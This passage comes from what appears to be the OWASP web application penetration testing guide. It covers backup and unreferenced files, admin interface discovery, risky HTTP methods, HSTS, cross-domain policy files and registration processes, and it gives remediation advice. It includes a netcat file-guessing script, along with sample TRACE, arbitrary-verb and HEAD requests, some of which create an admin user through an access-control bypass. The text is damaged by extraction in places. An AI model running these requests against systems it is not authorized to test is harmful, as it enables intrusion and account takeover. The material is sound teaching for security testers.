• .zip, .tar, .gz, .tgz, .rar, ...: (Compressed) archive files
• .txt: Text files
• .pdf: PDF documents
• .doc, .rtf, .xls, .ppt, ...: Office documents
• .bak, .old and other extensions indicative of backup files (for example:
~ for Emacs backup files)
The list given above details only a few examples, since file extensions
are too many to be comprehensively treated here. Refer to http://filext.
com/ for a more thorough database of extensions.
To identify files having a given extensions a mix of techniques can be
employed. THese techniques can include Vulnerability Scanners, spidering and mirroring tools, manually inspecting the application (this
overcomes limitations in automatic spidering), querying search engines (see Testing: Spidering and googling). See also Testing for Old,
Backup and Unreferenced Files which deals with the security issues
related to “forgotten” files.
Windows 8.3 legacy file handling can sometimes be used to defeat file
Usage Examples:
file.phtml gets processed as PHP code
FILE~1.PHT is served, but not processed by the PHP ISAPI handler
SHELL~1.PHP will be expanded and returned by the OS shell,
then processed by the PHP ISAPI handler

Gray Box testing
Performing white box testing against file extensions handling
amounts to checking the configurations of web servers or application
servers taking part in the web application architecture, and verifying
how they are instructed to serve different file extensions.
If the web application relies on a load-balanced, heterogeneous infrastructure, determine whether this may introduce different behavior.

Tools

Vulnerability scanners, such as Nessus and Nikto check for the ex-

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istence of well-known web directories. They may allow the tester
determine the configuration of web directories and how individual file
extensions are served. Other tools that can be used for this purpose
include:
• wget - http://www.gnu.org/software/wget
• curl - http://curl.haxx.se
• google for “web mirroring tools”.

Review Old, Backup and Unreferenced Files for
Sensitive Information (OTG-CONFIG-004)

Summary
While most of the files within a web server are directly handled by the
server itself, it isn’t uncommon to find unreferenced or forgotten files
that can be used to obtain important information about the infrastructure or the credentials.
Most common scenarios include the presence of renamed old versions of modified files, inclusion files that are loaded into the language
of choice and can be downloaded as source, or even automatic or
manual backups in form of compressed archives. Backup files can also
be generated automatically by the underlying file system the application is hosted on, a feature usually referred to as “snapshots”.
All these files may grant the tester access to inner workings, back
doors, administrative interfaces, or even credentials to connect to the
administrative interface or the database server.
An important source of vulnerability lies in files which have nothing to
do with the application, but are created as a consequence of editing
application files, or after creating on-the-fly backup copies, or by leaving in the web tree old files or unreferenced files.Performing in-place
editing or other administrative actions on production web servers may
inadvertently leave backup copies, either generated automatically by
the editor while editing files, or by the administrator who is zipping a
set of files to create a backup.
It is easy to forget such files and this may pose a serious security
threat to the application. That happens because backup copies may be
generated with file extensions differing from those of the original files.
A .tar, .zip or .gz archive that we generate (and forget...) has obviously
a different extension, and the same happens with automatic copies
created by many editors (for example, emacs generates a backup copy
named file~ when editing file). Making a copy by hand may produce the
same effect (think of copying file to file.old). The underlying file system
the application is on could be making “snapshots” of your application
at different points in time without your knowledge, which may also be
accessible via the web, posing a similar but different “backup file” style
As a result, these activities generate files that are not needed by the
application and may be handled differently than the original file by
the web server. For example, if we make a copy of login.asp named
or plain, rather than being executed because of its extension. In other words, accessing login.asp causes the execution of the server-side
login.asp.old (which is, again, server-side code) to be plainly returned
to the user and displayed in the browser. This may pose security risks,

since sensitive information may be revealed.
Generally, exposing server side code is a bad idea. Not only are you
unnecessarily exposing business logic, but you may be unknowingly
revealing application-related information which may help an attacker
(path names, data structures, etc.). Not to mention the fact that there
text (which is a careless and very dangerous practice).
Other causes of unreferenced files are due to design or configuration
choices when they allow diverse kind of application-related files such
as data files, configuration files, log files, to be stored in file system
directories that can be accessed by the web server. These files have
normally no reason to be in a file system space that could be accessed
via web, since they should be accessed only at the application level,
by the application itself (and not by the casual user browsing around).
Threats
Old, backup and unreferenced files present various threats to the security of a web application:
• Unreferenced files may disclose sensitive information that can
facilitate a focused attack against the application; for example include
files containing database credentials, configuration files containing
references to other hidden content, absolute file paths, etc.
• Unreferenced pages may contain powerful functionality that can be
used to attack the application; for example an administration page
that is not linked from published content but can be accessed by any
user who knows where to find it.
• Old and backup files may contain vulnerabilities that have been fixed
directory traversal vulnerability that has been fixed in viewdoc.jsp
but can still be exploited by anyone who finds the old version.
• Backup files may disclose the source code for pages designed to
execute on the server; for example requesting viewdoc.bak may
return the source code for viewdoc.jsp, which can be reviewed for
vulnerabilities that may be difficult to find by making blind requests
to the executable page. While this threat obviously applies to scripted
languages, such as Perl, PHP, ASP, shell scripts, JSP, etc., it is not
limited to them, as shown in the example provided in the next bullet.
• Backup archives may contain copies of all files within (or even
outside) the webroot. This allows an attacker to quickly enumerate
the entire application, including unreferenced pages, source code,
include files, etc. For example, if you forget a file named myservlets.
jar.old file containing (a backup copy of) your servlet implementation
classes, you are exposing a lot of sensitive information which is
susceptible to decompilation and reverse engineering.
• In some cases copying or editing a file does not modify the file
extension, but modifies the file name. This happens for example in
Windows environments, where file copying operations generate file
names prefixed with “Copy of “ or localized versions of this string.
Since the file extension is left unchanged, this is not a case where
an executable file is returned as plain text by the web server, and
therefore not a case of source code disclosure. However, these
files too are dangerous because there is a chance that they include
obsolete and incorrect logic that, when invoked, could trigger
application errors, which might yield valuable information to an
attacker, if diagnostic message display is enabled.
• Log files may contain sensitive information about the activities
of application users, for example sensitive data passed in URL
parameters, session IDs, URLs visited (which may disclose additional

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unreferenced content), etc. Other log files (e.g. ftp logs) may contain
sensitive information about the maintenance of the application by
• File system snapshots may contain copies of the code that contain
example /.snapshot/monthly.1/view.php may contain a directory
traversal vulnerability that has been fixed in /view.php but can still
be exploited by anyone who finds the old version.
How to Test
Black Box Testing
Testing for unreferenced files uses both automated and manual techniques, and typically involves a combination of the following:
Inference from the naming scheme used for published content
Enumerate all of the application’s pages and functionality. This can be
done manually using a browser, or using an application spidering tool.
Most applications use a recognizable naming scheme, and organize
resources into pages and directories using words that describe their
function. From the naming scheme used for published content, it is often possible to infer the name and location of unreferenced pages. For
example, if a page viewuser.asp is found, then look also for edituser.
asp, adduser.asp and deleteuser.asp. If a directory /app/user is found,
then look also for /app/admin and /app/manager.
Other clues in published content
Many web applications leave clues in published content that can lead
to the discovery of hidden pages and functionality. These clues often
appear in the source code of HTML and JavaScript files. The source
code for all published content should be manually reviewed to identify
clues about other pages and functionality. For example:
Programmers’ comments and commented-out sections of source
code may refer to hidden content:

JavaScript may contain page links that are only rendered within the
user’s GUI under certain circumstances:

:

HTML pages may contain FORMs that have been hidden by disabling
the SUBMIT element:

Another source of clues about unreferenced directories is the /robots.
txt file used to provide instructions to web robots:
User-agent: *
Disallow: /backup
Disallow: /~jbloggs
Disallow: /include
Blind guessing
In its simplest form, this involves running a list of common file
names through a request engine in an attempt to guess files and
directories that exist on the server. The following netcat wrapper
script will read a wordlist from stdin and perform a basic guessing
attack:
#!/bin/bash
server=www.targetapp.com
port=80
do
echo -ne “$url\t” echo -e “GET /$url HTTP/1.0\nHost: $server\n” | netcat$server
$port | head -1 done | tee outputfile Depending upon the server, GET may be replaced with HEAD for faster results. The output file specified can be grepped for “interesting” response codes. The response code 200 (OK) usually indicates that a valid resource has been found (provided the server does not deliver a custom “not found” page using the 200 code). But also look out for 301 (Moved), 302 (Found), 401 (Unauthorized), 403 (Forbidden) and 500 (Internal error), which may also indicate resources or directories that are worthy of further investigation. The basic guessing attack should be run against the webroot, and also against all directories that have been identified through other enumeration techniques. More advanced/effective guessing attacks can be performed as follows: • Identify the file extensions in use within known areas of the application (e.g. jsp, aspx, html), and use a basic wordlist appended with each of these extensions (or use a longer list of common extensions if resources permit). • For each file identified through other enumeration techniques, create a custom wordlist derived from that filename. Get a list of common file extensions (including ~, bak, txt, src, dev, old, inc, orig, copy, tmp, etc.) and use each extension before, after, and instead of, the extension of the actual file name. Note: Windows file copying operations generate file names prefixed with “Copy of “ or localized versions of this string, hence they do not change file extensions. While “Copy of ” files typically do 56 Web Application Penetration Testing not disclose source code when accessed, they might yield valuable information in case they cause errors when invoked. Information obtained through server vulnerabilities and misconfiguration The most obvious way in which a misconfigured server may disclose unreferenced pages is through directory listing. Request all enumerated directories to identify any which provide a directory listing. Numerous vulnerabilities have been found in individual web servers which allow an attacker to enumerate unreferenced content, for example: • Apache ?M=D directory listing vulnerability. • Various IIS script source disclosure vulnerabilities. • IIS WebDAV directory listing vulnerabilities. Use of publicly available information Pages and functionality in Internet-facing web applications that are not referenced from within the application itself may be referenced from other public domain sources. There are various sources of these references: • Pages that used to be referenced may still appear in the archives of Internet search engines. For example, 1998results.asp may no longer be linked from a company’s website, but may remain on the server and in search engine databases. This old script may contain vulnerabilities that could be used to compromise the entire site. The site: Google search operator may be used to run a query only against the domain of choice, such as in: site:www. example.com. Using search engines in this way has lead to a broad array of techniques which you may find useful and that are described in the Google Hacking section of this Guide. Check it to hone your testing skills via Google. Backup files are not likely to be referenced by any other files and therefore may have not been indexed by Google, but if they lie in browsable directories the search engine might know about them. • In addition, Google and Yahoo keep cached versions of pages found by their robots. Even if 1998results.asp has been removed from the target server, a version of its output may still be stored by these search engines. The cached version may contain references to, or clues about, additional hidden content that still remains on the server. • Content that is not referenced from within a target application may be linked to by third-party websites. For example, an application which processes online payments on behalf of thirdparty traders may contain a variety of bespoke functionality which can (normally) only be found by following links within the web sites of its customers. File name filter bypass Because blacklist filters are based on regular expressions, one can sometimes take advantage of obscure OS file name expansion features in which work in ways the developer didn’t expect. The tester can sometimes exploit differences in ways that file names are parsed by the application, web server, and underlying OS and it’s file name conventions. Example: Windows 8.3 filename expansion “c:\program files” becomes “C:\PROGRA~1” – Remove incompatible characters – Convert spaces to underscores - Take the first six characters of the basename – Add “~” which is used to distinguish files with names using the same six initial characters - This convention changes after the first 3 cname ollisions – Truncate file extension to three characters - Make all the characters uppercase Gray Box Testing Performing gray box testing against old and backup files requires examining the files contained in the directories belonging to the set of web directories served by the web server(s) of the web application infrastructure. Theoretically the examination should be performed by hand to be thorough. However, since in most cases copies of files or backup files tend to be created by using the same naming conventions, the search can be easily scripted. For example, editors leave behind backup copies by naming them with a recognizable extension or ending and humans tend to leave behind files with a “.old” or similar predictable extensions. A good strategy is that of periodically scheduling a background job checking for files with extensions likely to identify them as copy or backup files, and performing manual checks as well on a longer time basis. Tools • Vulnerability assessment tools tend to include checks to spot web directories having standard names (such as “admin”, “test”, “backup”, etc.), and to report any web directory which allows indexing. If you can’t get any directory listing, you should try to check for likely backup extensions. Check for example Nessus (http://www.nessus.org), Nikto2(http://www.cirt.net/code/nikto.shtml) or its new derivative Wikto (http://www.sensepost.com/research/wikto/), which also supports Google hacking based strategies. • Web spider tools: wget (http://www.gnu.org/software/wget/, http://www.interlog.com/~tcharron/wgetwin.html); Sam Spade (http://www.samspade.org); Spike proxy includes a web site crawler function (http://www.immunitysec.com/spikeproxy.html); Xenu (http://home.snafu.de/tilman/xenulink.html); curl (http://curl.haxx. se). Some of them are also included in standard Linux distributions. • Web development tools usually include facilities to identify broken links and unreferenced files. Remediation To guarantee an effective protection strategy, testing should be compounded by a security policy which clearly forbids dangerous practices, such as: • Editing files in-place on the web server or application server file systems. This is a particular bad habit, since it is likely to unwillingly generate backup files by the editors. It is amazing to see how often this is done, even in large organizations. If you absolutely need to edit files on a production system, do ensure that you don’t leave behind anything which is not explicitly intended, and consider that you are doing it at your own risk. • Check carefully any other activity performed on file systems exposed by the web server, such as spot administration activities. For example, if you occasionally need to take a snapshot of a couple of directories (which you should not do on a production system), you 57 Web Application Penetration Testing may be tempted to zip them first. Be careful not to forget behind those archive files. • Appropriate configuration management policies should help not to leave around obsolete and unreferenced files. • Applications should be designed not to create (or rely on) files stored under the web directory trees served by the web server. Data files, log files, configuration files, etc. should be stored in directories not accessible by the web server, to counter the possibility of information disclosure (not to mention data modification if web directory permissions allow writing). • File system snapshots should not be accessible via the web if the document root is on a file system using this technology. Configure your web server to deny access to such directories, for example under apache a location directive such this should be used: Order deny,allow Deny from all Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) Summary Administrator interfaces may be present in the application or on the application server to allow certain users to undertake privileged activities on the site. Tests should be undertaken to reveal if and how this privileged functionality can be accessed by an unauthorized or standard user. An application may require an administrator interface to enable a privileged user to access functionality that may make changes to how the site functions. Such changes may include: • user account provisioning • site design and layout • data manipulation • configuration changes contents, see the tools section below for more information. * A tester may have to also identify the file name of the administration page. Forcibly browsing to the identified page may provide access to the interface. • Comments and links in source code. Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated. • Reviewing server and application documentation. If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required. • Publicly available information. Many applications such as wordpress have default administrative interfaces . • Alternative server port. Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat’s Administration interface can often be seen on port 8080. • Parameter tampering. A GET or POST parameter or a cookie variable may be required to enable the administrator functionality. Clues to this include the presence of hidden fields such as: or in a cookie: Cookie: session_cookie; useradmin=0 Once an administrative interface has been discovered, a combination of the above techniques may be used to attempt to bypass authentication. If this fails, the tester may wish to attempt a brute force attack. In such an instance the tester should be aware of the potential for administrative account lockout if such functionality is present. In many instances, such interfaces do not have sufficient controls to protect them from unauthorized access. Testing is aimed at discovering these administrator interfaces and accessing functionality intended for the privileged users. Gray Box Testing A more detailed examination of the server and application components should be undertaken to ensure hardening (i.e. administrator pages are not accessible to everyone through the use of IP filtering or other controls), and where applicable, verification that all components do not use default credentials or configurations. How to Test Black Box Testing The following section describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used to test for related issues including privilege escalation, and are described elsewhere in this guide(for example Testing for bypassing authorization schema (OTG-AUTHZ-002) and Testing for Insecure Direct Object References (OTG-AUTHZ-004) in greater detail. Source code should be reviewed to ensure that the authorization and authentication model ensures clear separation of duties between normal users and site administrators. User interface functions shared between normal and administrator users should be reviewed to ensure clear separation between the drawing of such components and information leakage from such shared functionality. • Directory and file enumeration. An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple as requesting: /admin or /administrator etc.. or in some scenarios can be revealed within seconds using Google dorks. • There are many tools available to perform brute forcing of server • Dirbuster This currently inactive OWASP project is still a great tool for brute forcing directories and files on the server. • THC-HYDRA is a tool that allows brute-forcing of many interfaces, including form-based HTTP authentication. • A brute forcer is much better when it uses a good dictionary, for Tools 58 Web Application Penetration Testing example the netsparker dictionary. References • Default Password list: http://www.governmentsecurity.org/articles/ DefaultLoginsandPasswordsforNetworkedDevices.php • Default Password list: http://www.cirt.net/passwords Test HTTP Methods (OTG-CONFIG-006) Summary HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server’s HTTP TRACE method, is examined. While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC 2616 (which describes HTTP version 1.1 which is the standard today) defines the following eight methods: • HEAD • GET • POST • PUT • DELETE • TRACE • OPTIONS • CONNECT Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following: • PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim’s server as a file repository. • DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack. • CONNECT: This method could allow a client to use the web server as a proxy. • TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page). If an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions. Arbitrary HTTP Methods Arshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen or arbitrary HTTP methods to by- pass an environment level access control check: • Many frameworks and languages treat “HEAD” as a “GET” request, albeit one without any body in the response. If a security constraint was set on “GET” requests such that only “authenticatedUsers” could access GET requests for a particular servlet or resource, it would be bypassed for the “HEAD” version. This allowed unauthorized blind submission of any privileged GET request. • Some frameworks allowed arbitrary HTTP methods such as “JEFF” or “CATS” to be used without limitation. These were treated as if a “GET” method was issued, and were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET requests. In many cases, code which explicitly checked for a “GET” or “POST” method would be safe. How to Test Discover the Supported Methods To perform this test, the tester needs some way to figure out which HTTP methods are supported by the web server that is being examined. The OPTIONS HTTP method provides the tester with the most direct and effective way to do that. RFC 2616 states that, “The OPTIONS method represents a request for information about the communication options available on the request/response chain identified by the Request-URI”. The testing method is extremely straightforward and we only need to fire up netcat (or telnet):$ nc www.victim.com 80
OPTIONS / HTTP/1.1
Host: www.victim.com
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can
see that TRACE method is enabled. The danger that is posed by this
method is illustrated in the following section
Test XST Potential
Note: in order to understand the logic and the goals of this attack
one must be familiar with Cross Site Scripting attacks.
The TRACE method, while apparently harmless, can be successfully
leveraged in some scenarios to steal legitimate users’ credentials.
This attack technique was discovered by Jeremiah Grossman in
2003, in an attempt to bypass the HTTPOnly tag that Microsoft introduced in Internet Explorer 6 SP1 to protect cookies from being
accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the

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attacker so that he or she can hijack the victim’s session. Tagging a
cookie as httpOnly forbids JavaScript from accessing it, protecting it
from being sent to a third party. However, the TRACE method can
be used to bypass this protection and access the cookie even in this
scenario.
As mentioned before, TRACE simply returns any string that is sent
to the web server. In order to verify its presence (or to double-check
the results of the OPTIONS request shown above), the tester can
proceed as shown in the following example:
$nc www.victim.com 80 TRACE / HTTP/1.1 Host: www.victim.com HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Tue, 31 Oct 2006 08:01:48 GMT Connection: close Content-Type: message/http Content-Length: 39 TRACE / HTTP/1.1 Host: www.victim.com The response body is exactly a copy of our original request, meaning that the target allows this method. Now, where is the danger lurking? If the tester instructs a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly. There are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. An attacker has two ways to successfully launch a Cross Site Tracing attack: • Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack • Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal. More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman. Testing for arbitrary HTTP methods Find a page to visit that has a security constraint such that it would normally force a 302 redirect to a log in page or forces a log in directly. The test URL in this example works like this, as do many web applications. However, if a tester obtains a “200” response that is not a log in page, it is possible to bypass authentication and thus authorization.$ nc www.example.com 80
JEFF / HTTP/1.1
Host: www.example.com
HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:38:40 GMT
Server: Apache

If the framework or firewall or application does not support the
“JEFF” method, it should issue an error page (or preferably a 405
Not Allowed or 501 Not implemented error page). If it services the
request, it is vulnerable to this issue.
If the tester feels that the system is vulnerable to this issue, they
should issue CSRF-like attacks to exploit the issue more fully:
foo123&confirm=foo123
With some luck, using the above three commands - modified to
suit the application under test and testing requirements - a new
Testing for HEAD access control bypass
Find a page to visit that has a security constraint such that it
would normally force a 302 redirect to a log in page or forces a log
in directly. The test URL in this example works like this, as do many
web applications. However, if the tester obtains a “200” response
that is not a login page, it is possible to bypass authentication and
thus authorization.
$nc www.example.com 80 HEAD /admin HTTP/1.1 Host: www.example.com HTTP/1.1 200 OK Date: Mon, 18 Aug 2008 22:44:11 GMT Server: Apache Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, postcheck=0, pre-check=0 60 Web Application Penetration Testing Pragma: no-cache Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug2009 22:44:31 GMT; domain=www.example.com Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug2008 22:54:31 GMT; domain=www.example.com Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug2007 22:44:30 GMT; domain=www.example.com Content-Language: EN Connection: close Content-Type: text/html; charset=ISO-8859-1 If the tester gets a “405 Method not allowed” or “501 Method Unimplemented”, the target (application/framework/language/ system/firewall) is working correctly. If a “200” response code comes back, and the response contains no body, it’s likely that the application has processed the request without authentication or authorization and further testing is warranted. If the tester thinks that the system is vulnerable to this issue, they should issue CSRF-like attacks to exploit the issue more fully: • HEAD /admin/createUser.php?member=myAdmin • HEAD /admin/changePw.php?member=myAdmin&passwd= foo123&confirm=foo123 • HEAD /admin/groupEdit.php?group=Admins&member=myAd min&action=add With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an administrator, all using blind request submission. Tools • NetCat - http://nc110.sourceforge.net • cURL - http://curl.haxx.se/ References Whitepapers • RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1” • RFC 2109 and RFC 2965: HTTP State Management Mechanism” • Jeremiah Grossman: “Cross Site Tracing (XST)” http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_ XST_ebook.pdf • Amit Klein: “XS(T) attack variants which can, in some cases, eliminate the need for TRACE” - http://www.securityfocus.com/ archive/107/308433 • Arshan Dabirsiaghi: “Bypassing VBAAC with HTTP Verb Tampering” - http://static.swpag.info/download/Bypassing_ VBAAC_with_HTTP_Verb_Tampering.pdf Test HTTP Strict Transport Security (OTG-CONFIG-007) Summary The HTTP Strict Transport Security (HSTS) header is a mechanism that web sites have to communicate to the web browsers that all traffic exchanged with a given domain must always be sent over https, this will help protect the information from being passed over unencrypted requests. Considering the importance of this security measure it is important to verify that the web site is using this HTTP header, in order to ensure that all the data travels encrypted from the web browser to the server. The HTTP Strict Transport Security (HSTS) feature lets a web application to inform the browser, through the use of a special response header, that it should never establish a connection to the the specified domain servers using HTTP. Instead it should automatically establish all connection requests to access the site through HTTPS. The HTTP strict transport security header uses two directives: • max-age: to indicate the number of seconds that the browser should automatically convert all HTTP requests to HTTPS. • includeSubDomains: to indicate that all web application’s subdomains must use HTTPS. Here’s an example of the HSTS header implementation: Strict-Transport-Security: max-age=60000; includeSubDomains The use of this header by web applications must be checked to find if the following security issues could be produced: • Attackers sniffing the network traffic and accessing the information transferred through an unencrypted channel. • Attackers exploiting a man in the middle attack because of the problem of accepting certificates that are not trusted. • Users who mistakenly entered an address in the browser putting HTTP instead of HTTPS, or users who click on a link in a web application which mistakenly indicated the http protocol. How to Test Testing for the presence of HSTS header can be done by checking for the existence of the HSTS header in the server’s response in an interception proxy, or by using curl as follows:$ curl -s -D- https://domain.com/ | grep Strict

Result expected:
Strict-Transport-Security: max-age=...

References
• OWASP HTTP Strict Transport Security - https://www.owasp.
org/index.php/HTTP_Strict_Transport_Security
• OWASP Appsec Tutorial Series - Episode 4: Strict Transport
• HSTS Specification: http://tools.ietf.org/html/rfc6797

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Test RIA cross domain policy (OTG-CONFIG-008)

Summary
data and service consumption using technologies such as Oracle
Java, Silverlight, and Adobe Flash. Therefore, a domain can grant
remote access to its services from a different domain. However, often the policy files that describe the access restrictions are
poorly configured. Poor configuration of the policy files enables
Cross-site Request Forgery attacks, and may allow third parties
to access sensitive data meant for the user.
What are cross-domain policy files?
A cross-domain policy file specifies the permissions that a web
data across different domains. For Silverlight, Microsoft adopted a
it’s own cross-domain policy file: clientaccesspolicy.xml.
Whenever a web client detects that a resource has to be requested from other domain, it will first look for a policy file in the target
domain to determine if performing cross-domain requests, including headers, and socket-based connections are allowed.
Master policy files are located at the domain’s root. A client may
be instructed to load a different policy file but it will always check
the master policy file first to ensure that the master policy file permits the requested policy file.
Crossdomain.xml vs. Clientaccesspolicy.xml
|ªMost RIA applications support crossdomain.xml. However in the
case of Silverlight, it will only work if the crossdomain.xml specifies that access is allowed from any domain. For more granular
control with Silverlight, clientaccesspolicy.xml must be used.
Policy files grant several types of permissions:
• Accepted policy files (Master policy files can disable or restrict
specific policy files)
• Sockets permissions
• HTTP/HTTPS access permissions
• Allowing access based on cryptographic credentials
An example of an overly permissive policy file:

How can cross domain policy files can be abused?
• Overly permissive cross-domain policies.

• Generating server responses that may be treated as crossdomain policy files.
• Using file upload functionality to upload files that may be treated
as cross-domain policy files.
Impact of abusing cross-domain access
• Defeat CSRF protections.
• Read data restricted or otherwise protected by cross-origin policies.
How to Test
Testing for RIA policy files weakness:
To test for RIA policy file weakness the tester should try to retrieve
the policy files crossdomain.xml and clientaccesspolicy.xml from
the application’s root, and from every folder found.
For example, if the application’s URL is http://www.owasp.org, the
crossdomain.xml and http://www.owasp.org/clientaccesspolicy.
xml.
After retrieving all the policy files, the permissions allowed should
be be checked under the least privilege principle. Requests should
only come from the domains, ports, or protocols that are necessary. Overly permissive policies should be avoided. Policies with
“*” in them should be closely examined.
Example:

Result Expected:
• A list of policy files found.
• A weak settings in the policies.

Tools

• Nikto
• OWASP Zed Attack Proxy Project
• W3af
References
Whitepapers
• UCSD: “Analyzing the Crossdomain Policies of Flash
Applications” - http://cseweb.ucsd.edu/~hovav/dist/
crossdomain.pdf
file_spec.html
• Adobe: “Cross-domain policy file usage recommendations
articles/cross_domain_policy.html
• Oracle: “Cross-Domain XML Support” http://www.oracle.com/technetwork/java/javase/
plugin2-142482.html#CROSSDOMAINXML
• MSDN: “Making a Service Available Across Domain Boundaries”

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- http://msdn.microsoft.com/en-us/library/cc197955(v=vs.95).
aspx
• MSDN: “Network Security Access Restrictions in Silverlight” http://msdn.microsoft.com/en-us/library/cc645032(v=vs.95).
aspx
• Stefan Esser: “Poking new holes with Flash Crossdomain Policy
Files” http://www.hardened-php.net/library/poking_new_
holes_with_flash_crossdomain_policy_files.html
• Jeremiah Grossman: “Crossdomain.xml Invites Cross-site
Mayhem” http://jeremiahgrossman.blogspot.com/2008/05/
crossdomainxml-invites-cross-site.html
• Google Doctype: “Introduction to Flash security “ - http://code.

Test Role Definitions (OTG-IDENT-001)

Summary
It is common in modern enterprises to define system roles to
manage users and authorization to system resources. In most
system implementations it is expected that at least two roles exist, administrators and regular users. The first representing a role
information, the second representing a role that permits access
to regular business functionality and information. Well developed
roles should align with business processes which are supported
by the application.
It is important to remember that cold, hard authorization isn’t the
environments where confidentiality is not critical, softer controls
such as application workflow and audit logging can support data
integrity requirements while not restricting user access to functionality or creating complex role structures that are difficult to
manage. Its important to consider the Goldilocks principle when
many, tightly tailored roles (thereby restricting access to functionality users do require).
Test objectives
Validate the system roles defined within the application sufficiently define and separate each system and business role to manage
How to test
Either with or without the help of the system developers or administrators, develop an role versus permission matrix. The matrix
should enumerate all the roles that can be provisioned and explore
the permissions that are allowed to be applied to the objects including any constraints. If a matrix is provided with the application
it should be validated by the tester, if it doesn’t exist, the tester
should generate it and determine whether the matrix satisfies the
desired access policy for the application.
Example
Role

Permission

Object

Customer
records

Manager

Customer
records

Constraints

Only records related

RoStaff

Customer
records

Only records associated with
customers assigned by Manager

Customer

Customer
records

Only own record

A real world example of role definitions can be found in the WordPress roles documentation [1]. WordPress has six default roles
ranging from Super Admin to a Subscriber.

Tools

While the most thorough and accurate approach to completing
this test is to conduct it manually, spidering tools [2] are also useful. Log on with each role in turn and spider the application (don’t
forget to exclude the logout link from the spidering).
References
• Role Engineering for Enterprise Security Management, E Coyne
& J Davis, 2007
• Role engineering and RBAC standards
Remediation
Remediation of the issues can take the following forms:
• Role Engineering
• Mapping of business roles to system roles
• Separation of Duties

Test User Registration Process
(OTG-IDENT-002)

Summary
Some websites offer a user registration process that automates (or
identity requirements for access vary from positive identification to
none at all, depending on the security requirements of the system.
Many public applications completely automate the registration and
provisioning process because the size of the user base makes it impossible to manage manually. However, many corporate applications
will provision users manually, so this test case may not apply.
Test objectives
[1] Verify that the identity requirements for user registration are
aligned with business and security requirements.
[2] Validate the registration process.
How to test
Verify that the identity requirements for user registration are aligned
[1] Can anyone register for access?
[2] Are registrations vetted by a human prior to provisioning, or are
they automatically granted if the criteria are met?
[3] Can the same person or identity register multiple times?
[4] Can users register for different roles or permissions?
[5] What proof of identity is required for a registration to be successful?
[6] Are registered identities verified?
Validate the registration process:
[1] Can identity information be easily forged or faked?
[2] Can the exchange of identity information be manipulated during
registration?

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Example
In the WordPress example below, the only identification requirement is an email address that is accessible to the registrant.

• Is there any verification, vetting and authorization of de-provisioning
requests?
• Can an administrator or other user provision accounts with privileges
greater than their own?
• Can an administrator or user de-provision themselves?
• How are the files or resources owned by the de-provisioned user
managed? Are they deleted? Is access transferred?
Example
In WordPress, only a user’s name and email address are required to
provision the user, as shown below:

In contrast, in the Google example below the identification requirements include name, date of birth, country, mobile phone number,
email address and CAPTCHA response. While only two of these can be
verified (email address and mobile number), the identification requirements are stricter than WordPress.

De-provisioning of users requires the administrator to select the users
to be de-provisioned, select Delete from the dropdown menu (circled)
and then applying this action. The administrator is then presented
with a dialog box asking what to do with the user’s posts (delete or
transfer them).

Tools

A HTTP proxy can be a useful tool to test this control.
References
User Registration Design
Remediation
Implement identification and verification requirements that correspond to the security requirements of the information the credentials
protect.

Test Account Provisioning Process
